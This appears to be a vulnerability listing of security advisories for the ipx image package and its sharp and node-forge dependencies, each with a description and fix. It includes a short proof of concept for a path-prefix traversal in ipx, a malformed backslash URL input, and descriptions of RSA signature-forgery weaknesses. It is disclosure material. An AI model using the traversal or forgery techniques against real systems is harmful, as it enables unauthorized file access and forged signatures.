All the vulnerabilities related to the version 0.6.0 of the package
IPX Allows Path Traversal via Prefix Matching Bypass
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.jsimport { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.jspng
Forbidden path: /../publi123/test.png
Path Traversal
Check if the dir ends with / (path separator) and if not, add before calling startsWith
sharp vulnerability in libwebp dependency CVE-2023-4863
sharp uses libwebp to decode WebP images and versions prior to the latest 0.32.6 are vulnerable to the high severity https://github.com/advisories/GHSA-j7hp-h8jx-5ppr.
Almost anyone processing untrusted input with versions of sharp prior to 0.32.6.
Most people rely on the prebuilt binaries provided by sharp.
Please upgrade sharp to the latest 0.32.6, which provides libwebp 1.3.2.
Please ensure you are using the latest libwebp 1.3.2.
Add the following to your code to prevent sharp from decoding WebP images.
sharp.block({ operation: ["VipsForeignLoadWebp"] });
sharp vulnerable to Command Injection in post-installation over build environment
There's a possible vulnerability in logic that is run only at npm install time when installing versions of sharp prior to the latest v0.30.5.
This is not part of any runtime code, does not affect Windows users at all, and is unlikely to affect anyone that already cares about the security of their build environment. However, out of an abundance of caution, I've created this advisory.
If an attacker has the ability to set the value of the PKG_CONFIG_PATH environment variable in a build environment then they might be able to use this to inject an arbitrary command at npm install time.
I've used the Common Vulnerability Scoring System (CVSS) calculator to determine the maximum possible impact, which suggests a "medium" score of 5.9, but for most people the real impact will be dealing with the noise from automated security tooling that this advisory will bring.
This problem was fixed in commit a6aeef6 and published as part of sharp v0.30.5.
Thank you very much to @dwisiswant0 for the responsible disclosure.
Remember: if an attacker has control over environment variables in your build environment then you have a bigger problem to deal with than this issue.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is not properly checking DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
The issue has been addressed in node-forge 1.3.0.
If you have any questions or comments about this advisory:
Prototype Pollution in node-forge debug API.
The forge.debug API had a potential prototype pollution issue if called with untrusted input. The API was only used for internal debug purposes in a safe way and never documented or advertised. It is suspected that uses of this API, if any exist, would likely not have used untrusted inputs in a vulnerable way.
The forge.debug API and related functions were removed in 1.0.0.
Don't use the forge.debug API directly or indirectly with untrusted input.
If you have any questions or comments about this advisory:
Open Redirect in node-forge
parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
URL parsing in node-forge could lead to undesired behavior.
The regex used for the forge.util.parseUrl API would not properly parse certain inputs resulting in a parsed data structure that could lead to undesired behavior.
forge.util.parseUrl and other very old related URL APIs were removed in 1.0.0 in favor of letting applications use the more modern WHATWG URL Standard API.
Ensure code does not directly or indirectly call forge.util.parseUrl with untrusted input.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory: